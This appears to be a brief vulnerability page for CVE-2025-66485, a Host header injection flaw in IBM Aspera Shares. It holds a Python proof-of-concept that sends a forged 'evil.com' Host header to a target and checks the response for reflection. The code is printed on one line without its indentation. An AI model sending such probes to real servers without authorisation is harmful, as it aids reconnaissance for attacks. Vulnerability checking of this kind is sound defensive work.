CVE-2025-66485 IBM Aspera Shares HTTP头注入漏洞

import requests def check_host_header_injection(url): """ PoC for Host Header Injection. Checks if the application reflects the malicious Host header. """ malicious_host = "evil.com" headers = { "Host": malicious_host, "User-Agent": "CVE-2025-66485-Scanner" } try: response = requests.get(url, headers=headers, timeout=10) # Check if malicious host is in Location header (Redirect) or body (XSS/Reflection) location = response.headers.get('Location', '') if malicious_host in location or malicious_host in response.text: return f"[+] Potential vulnerability detected! Malicious host found in response." else: return "[-] No obvious reflection detected." except Exception as e: return f"[!] Error: {e}" if __name__ == "__main__": target = "http://target-aspera-server.com" # Replace with actual target print(check_host_header_injection(target))